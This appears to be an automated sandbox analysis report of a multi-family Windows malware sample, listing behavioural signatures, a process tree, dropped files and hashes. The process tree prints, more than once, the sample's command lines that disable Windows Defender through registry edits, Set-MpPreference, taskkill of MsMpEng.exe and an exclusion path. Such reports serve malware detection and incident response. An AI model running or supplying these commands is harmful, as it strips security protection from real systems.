Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 01:40

General

  • Target
    2026-09-08_f2de0ba4ee33a037a540807c546c3ea7_cobalt-strike_icedid_luca-stealer_njrat_satacom_vidar.exe
  • Size 463KB
  • Sample260910-b31tdacm3v
  • SHA256 a72547c70d47fb619a61fd693791d33018afe65d4b5d2ff298e8b440a1117047
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 16 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Detects executables referencing many IR and analysis tools 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3244
    • C:\Users\Admin\AppData\Local\Temp\2026-09-08_f2de0ba4ee33a037a540807c546c3ea7_cobalt-strike_icedid_luca-stealer_njrat_satacom_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-09-08_f2de0ba4ee33a037a540807c546c3ea7_cobalt-strike_icedid_luca-stealer_njrat_satacom_vidar.exe"
      2⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:4352
      • C:\SysTempData\HELL1.exe
        "C:\SysTempData\HELL1.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1344
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f & powershell Set-MpPreference -DisableRealtimeMonitoring $true & taskkill /f /im MsMpEng.exe /im WinDefend.exe 2>nul
          4⤵
          • Executes a command shell one-liner
          • System Time Discovery
          • Suspicious use of WriteProcessMemory
          PID:2152
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
            5⤵
            • Modifies Windows Defender DisableAntiSpyware settings
            PID:3996
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
            5⤵
              PID:1560
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
              5⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:3232
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
              5⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:2536
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
              5⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:816
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
              5⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:1552
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
              5⤵
                PID:3916
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
                5⤵
                  PID:4160
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Set-MpPreference -DisableRealtimeMonitoring $true
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Disables one or more Microsoft Defender components
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:876
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im MsMpEng.exe /im WinDefend.exe
                  5⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1896
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
                4⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3784
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4924
            • C:\SysTempData\HELL2.exe
              "C:\SysTempData\HELL2.exe"
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3996
              • C:\Users\Admin\AppData\Local\Temp\kb_0e59267a\loader.exe
                "C:\Users\Admin\AppData\Local\Temp\kb_0e59267a\loader.exe"
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1692
        • C:\SysTempData\HELL1.exe
          C:\SysTempData\HELL1.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1264
          • C:\Windows\system32\cmd.exe
            cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f & powershell Set-MpPreference -DisableRealtimeMonitoring $true & taskkill /f /im MsMpEng.exe /im WinDefend.exe 2>nul
            2⤵
            • Executes a command shell one-liner
            • System Time Discovery
            • Suspicious use of WriteProcessMemory
            PID:3600
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
              3⤵
              • Modifies Windows Defender DisableAntiSpyware settings
              PID:3484
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
              3⤵
                PID:1972
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:3892
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:1840
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2636
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:4912
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
                3⤵
                  PID:2812
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
                  3⤵
                    PID:3712
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Disables one or more Microsoft Defender components
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3332
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im MsMpEng.exe /im WinDefend.exe
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3900
                • C:\Windows\system32\cmd.exe
                  cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:1936
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3780
              • C:\SysTempData\AggregatorHoss.exe
                C:\SysTempData\AggregatorHoss.exe
                1⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of WriteProcessMemory
                PID:1952
                • C:\SysTempData\HELL2.exe
                  "C:\SysTempData\HELL2.exe"
                  2⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4836
                  • C:\Users\Admin\AppData\Local\Temp\kb_0e592b6b\loader.exe
                    "C:\Users\Admin\AppData\Local\Temp\kb_0e592b6b\loader.exe"
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4316
              • C:\SysTempData\HELL2.exe
                C:\SysTempData\HELL2.exe
                1⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4296
                • C:\Users\Admin\AppData\Local\Temp\kb_0e5928cb\loader.exe
                  "C:\Users\Admin\AppData\Local\Temp\kb_0e5928cb\loader.exe"
                  2⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Adds Run key to start application
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:332
              • C:\Users\Admin\AppData\Local\Temp\kb_0e59267a\loader.exe
                C:\Users\Admin\AppData\Local\Temp\kb_0e59267a\loader.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2396
              • C:\Users\Admin\AppData\Local\Temp\kb_0e5928cb\loader.exe
                C:\Users\Admin\AppData\Local\Temp\kb_0e5928cb\loader.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2772
              • C:\Users\Admin\AppData\Local\Temp\kb_0e592b6b\loader.exe
                C:\Users\Admin\AppData\Local\Temp\kb_0e592b6b\loader.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3372

              Network

                    MITRE ATT&CK Enterprise v16

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                    AggregatorHoss.exe

                    • Path C:\SysTempData\AggregatorHoss.exe
                    • Size 463KB
                    • SHA256 a72547c70d47fb619a61fd693791d33018afe65d4b5d2ff298e8b440a1117047
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    HELL1.exe

                    • Path C:\SysTempData\HELL1.exe
                    • Size 105KB
                    • SHA256 103f51b71fc93d9c38a6a99e970d13fd87ca2137a32429e67d6bd07a526671a6
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    HELL2.exe

                    • Path C:\SysTempData\HELL2.exe
                    • Size 246KB
                    • SHA256 5a89bafccbd33c0df8be7e2348a2bf4ec064d4c16896aebbae6d27a1d6628abb
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 2KB
                    • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 c695bd38b90537e2862d2f2e90f3401b9dc14af0792251ee897df2d0b0dc9467
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 612B
                    • SHA256 12ed97e1233730f3a715b4f0d1145a34fb3dcbf912eb8fb2ee9c2736a5eac03b
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_att3tnnv.okc.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_att3tnnv.okc.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    loader.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\kb_0e59267a\loader.exe
                    • Size 109KB
                    • SHA256 4b74821ec49c6a2721f46c9d30391ffe3c98663e416f5e63943dd97062420653
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    persist.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\kb_0e59267a\persist.dll
                    • Size 3KB
                    • SHA256 d3e14419f49efb39f9f12e32ba3f6ed4ae72b988eb5d89e914b1759cbc4528ce
                    • MD5 SHA1 SHA512 TLSH

                    output_64.bin

                    • Path C:\Users\Admin\AppData\Local\Temp\kb_0e5928cb\output_64.bin
                    • Size 2KB
                    • SHA256 6cebaef3d98c1a4b73f62881583fa62c46461cc7f6c38993cb3338892024eb1b
                    • MD5 SHA1 SHA512 TLSH

                    memory/3244-96-0x0000000002EF0000-0x0000000002EF1000-memory.dmp

                    memory/3244-98-0x0000000004EC0000-0x0000000004EC1000-memory.dmp

                    memory/3244-108-0x0000000008FD0000-0x0000000008FD1000-memory.dmp

                    memory/3332-50-0x00000216F90E0000-0x00000216F922E000-memory.dmp

                    memory/3780-47-0x0000024D6FB70000-0x0000024D6FCBE000-memory.dmp

                    memory/4924-8-0x000001C075080000-0x000001C0750A2000-memory.dmp

                    memory/4924-7-0x000001C059120000-0x000001C059130000-memory.dmp

                    memory/4924-6-0x000001C059120000-0x000001C059130000-memory.dmp